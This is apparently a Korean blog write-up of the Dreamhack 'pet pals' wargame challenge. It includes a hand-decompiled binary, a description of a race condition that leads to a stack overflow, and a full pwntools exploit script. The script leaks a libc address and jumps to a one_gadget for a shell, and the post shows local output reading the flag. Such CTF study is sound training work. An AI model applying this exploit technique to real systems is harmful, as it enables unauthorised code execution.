보안/시스템해킹

[Dreamhack][시스템해킹] pet pals

playalone 2026. 8. 14. 19:49

[문제 링크](https://dreamhack.io/wargame/challenges/1080)

 

문제는 dockerfile과 binary파일이 존재한다. 

 

1. 분석

gdb로 보면, main함수를 알수가 없다. 따라서, __libc_start_main에 breakpoint를 걸고, 실제 메모리를 얻어 디스어셈블링해야한다.

이는 디스어셈블링한후 수동으로 디컴파일 한 결과이다.

main() {
    initialize();
    menu();
    scanf("%d", [rbp-0x44]);
    switch([rbp-0x44]) {
        case 1: func1([rbp-0x40]); break;
        case 2: func2([rbp-0x40]); break;
        case 3: func3([rbp-0x40]); break;
        case 4: return 0;
        default: printf("\n> ");
    }
}

initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

menu() {
    puts("")
    puts("1. create/update an animal")
    puts("2. walk with the animal")
    puts("3. rename the animal")
    puts("4. quit")
    puts("> ")
}

animals = {"dog", "cat", "hamster", "lizard"}

func1(a) {
    printf("animal type: ")
    scanf("%9s", [rbp-0x12])
    *[rbp-0x4] = 0

    while(*[rbp-0x4] <= 3) {
        if(strcmp([rbp-0x12], animals[*(rbp-0x4)]) == 0) {
            if(*(int*)[rbp-0x4] != 4) {
                *(int*)[rbp-0x8] = *(int*)[rbp-0x4]
                *(int*)a = *(int*)[rbp-0x8]
                func_0x289(a)
                func_0x36c(a)
                func_0x498(a)
            }
            else {
                exit(1)
            }
        }
        else {
            (*(int*)[rbp-0x4])++
            continue;
        }
    }
    else {
        if(*(int*)[rbp-0x4] != 4) {
            *(int*)[rbp-0x8] = *(int*)[rbp-0x4]
            *(int*)a = *(int*)[rbp-0x8]
            func_0x289(a)
            func_0x36c(a)
            func_0x498(a)
        }
        else {
            exit(1)
        }
    }
}

func2(a) {
    if(*(int*)a <= 3) {
        threadResult = pthread_create([rbp-0x10], 0, func_0x7aa, a)
        *(int*)[rbp-0x4] = threadResult
        if(threadResult <= 0) {
            return;
        }
        else {
            puts("pthread_create() error")
            exit(1)
        }
    }
    else {
        exit(1)
    }
}

func3(a) {
    func_0x36c(a)
}

func_0x289(a) {
    if(*(int*)a == 3) {
        *(long*)(a+0x18) = 0x10;
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        *(long*)(a+0x18) = 0x10;
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        *(long*)(a+0x28) = 0x20;
        return; 
    }
    if(*(int*)a == 1) {
        *(long*)(a+0x28) = 0x20;
        return; 
    }
    else {
        exit(1)
    }
}


func_0x36c(a) {
    if(*(int*)a == 3) {
        printf("lizard name: ")
        func_0x303(a+8, *(long*)(a+0x18)-1)
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        printf("hamster name: ")
        func_0x303(a+8, *(long*)(a+0x18)-1)
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        printf("dog name: ")
        func_0x303(a+8, *(long*)(a+0x28)-1)
        return; 
    }
    if(*(int*)a == 1) {
        printf("cat name: ")
        func_0x303(a+8, *(long*)(a+0x28)-1)
        return; 
    }
    else {
        exit(1)
    }
}

func_0x303(a,b) {
    readResult = read(0,a,b)
    if(readResult >= 0) {
        if(*(char*)(a+readResult-1) != '\n') {
            return;
        }
        else {
            *(char*)(a+readResult-1) = 0
        }
    }
}

func_0x498(a) {
    if(*(int*)a == 3) {
        *(char*)(a+0x20) = 0x64;
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 2) {
        *(char*)(a+0x20) = 0x64;
        return; 
    }
    if(*(int*)a > 3) {
        exit(1)
    }
    if(*(int*)a == 0) {
        *(short*)(a+0x30) = 0xc8;
        return; 
    }
    if(*(int*)a == 1) {
        *(short*)(a+0x30) = 0xc8;
        return; 
    }
    else {
        exit(1)
    }
}

func_0x7aa(a) {
    printf("sent %s for a walk.. %s\n", func_0x5ce(a), icon[*a])
    memcpy([rbp-0x50], a, 0x38)
    usleep(4_000_000)
    func_0x637(a, [rbp-0x50])

    printf("%s is returned from walk and is satisfied! %s\n", func_0x5ce(a), icon[*a])
}

func_0x5ce(a) {
    if(*a == 3) {
        return a+8;
    }
    if(*a > 3) {
        exit(1)
    }
    if(*a == 2) {
        return a+8
    }
    if(*a > 2) {
        exit(1)
    }
    if(*a == 0) {
        return a+8
    }
    if(*a == 1) {
        return a+8
    }
    else {
        exit(1)
    }
}

func_0x637(a,b) {
    *(int*)a = *(int*)b
    usleep(94011)
    if(*a == 3) {
        strcpy(a+8, b+8)
        *(long*)(a+0x18) = *(long*)(b+0x18)
        *(char*)(a+0x20) = *(char*)(b+0x20)+1
    }
    if(*a > 3) {
        exit(1)
    }
    if(*a == 2) {
        strcpy(a+8, b+8)
        *(long*)(a+0x18) = *(long*)(b+0x18)
        *(char*)(a+0x20) = *(char*)(b+0x20)+1
    }
    if(*a > 2) {
        exit(1)
    }
    if(*a == 0) {
        strcpy(a+8, b+8)
        *(long*)(a+0x28) = *(long*)(b+0x28)
        *(char*)(a+0x30) = *(char*)(b+0x30)+1
    }
    if(*a == 1) {
        strcpy(a+8, b+8)
        *(long*)(a+0x28) = *(long*)(b+0x28)
        *(char*)(a+0x30) = *(char*)(b+0x30)+1
    }
    else {
        exit(1)
    }
}

 

checksec은 다음과 같다.

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

카나리를 제외하고는 모든 보호기법이 존재한다.

 

2. 코드 흐름

코드의 흐름은 다음과 같다.

 

1. 1~3까지 사용자에게 입력을 받는다. 

- 1일 경우

 1) animal을 고를수 있다. dog, cat, hamster, lizard가 있다.

 2) 이후, name을 적을 수 있다. 

- 2일 경우

 1) 쓰레드를 열어, 현재 animal관련 정보를 저장해둔다.

 2) 4초 후 animal 타입을 복구한다.

 3) 0x16f3b 밀리초 이후 나머지 값을 복구한다.

- 3일 경우

 1) 타입에 맞는 animal의 이름을 바꾼다.

 

3. 시나리오 구성

usleep(4000000)을 하고, animal 타입을 복구하고, 0x16f3b만큼 쉬고 나머지 값을 복구하고 있다. 이부분에서 Race Condition 취약점이 생길수 있다. 과정은 다음과 같다.

 

1) 1로 animal을 dog로 초기화, name은 '\x7e' * 0x19로 초기화

2) 2로 4초간 기다림.

3) 4초 직후, 94011us 사이에 동물 타입을 hamster로 변경

4) 그 결과, 동물타입은 hamster인데 name은 복구되어 기존 size를 저장하고 있는 animal+0x18은 0x7e7e7e7e7e7e7e00로 초기화되어있을거란 생각. 이때문에 스택에 작성 가능. 카나리도 존재하지 않음.

5) 도커가 존재하기에 도커에서 libc의 오프셋을 구해 적용시키면 One Gadget을 실행시켜 execve("/bin/sh", rbp-0x50, r12) 실행 가능.

 

4. 문제 발생

타이밍이 맞지 않는다. 4초 이후 0.09초 정도 적당한 타이밍에 animal type을 바꿔야하는데 타이밍 잡는게 쉽지 않다.

 

time.time()으로 소요된 시간을 계산하고, time.sleep(4 - 소요된시간)으로 정확한 4초가 소요되게 코드를 수정했다.

 

여기서 또 문제가 생긴다. 도커와 로컬파일로는 실행이 잘되는데 드림핵 서버에 붙일때만 제대로 작동하지 않는다.

 

그래서 일단 지금까지 작성한 코드를 블로그에 작성한다.

 

5. 익스플로잇 코드

from pwn import *
import time

p = remote("localhost", 8888)


p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"type: ", b"dog")
p.sendafter(b"name: ", b"\x7e"*0x19)

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"sent", b"1")
start_time = time.time()

sleep_time = 4.00 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b"hamster\n" + b"\x7e"*0x9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b"> ", b"3")
time.sleep(1)
p.sendafter(b"name: ", b"a"*0x40)

print(2)
p.sendlineafter(b"> ", b"2")
p.recvuntil(b"sent ")
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)

one_gadget_Real = libc_base + 0xebd43
time.sleep(5)
print(3)
p.sendline(b"3")
p.sendafter(b"name: ", b"a"*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))

p.sendlineafter(b"> ", b"4")

p.interactive()

 

6. 결과

$ python exploit.py 
[+] Opening connection to localhost on port 8888: Done
sleep for 3.999999523162842
4.000277042388916
2
3
[*] Switching to interactive mode

> $ ls
flag
petpals
$ cat flag
DH{**flag**}
$

 

7. 변명 아닌 변명

일단, 리버싱을 하는데 하루를 소요했고, 익스 코드를 작성하는데 이틀을 소요했다.

 

리버싱은 현재 군 환경이기 때문에 gdb만 사용할 수 있기 때문에 일일이 main함수를 찾고, 출력하고, 수동으로 리버싱 과정을 거쳤다. 이때, 레이스 컨디션 취약점을 찾고 시나리오를 구성했다.

 

익스 코드 작성은 실제 코드를 작성하면서 시나리오 구성대로 코드를 작성하는데는 큰 시간이 걸리진 않았지만 타이밍 딜레이를 해결하는게 꽤 시간이 걸렸다.

 

현재 이렇게 드림핵 익스를 성공하지 못했는데 블로그 글을 작성하는 이유는 이 문제를 거의 2주 정도 가지고 있기 때문이다. 도저히 방법이 생각나지 않아 지금까지의 생각의 흐름을 블로그에 기록해놓고 나중에 다시 문제를 잡았을 때 흐름을 그대로 잇기 위함이다.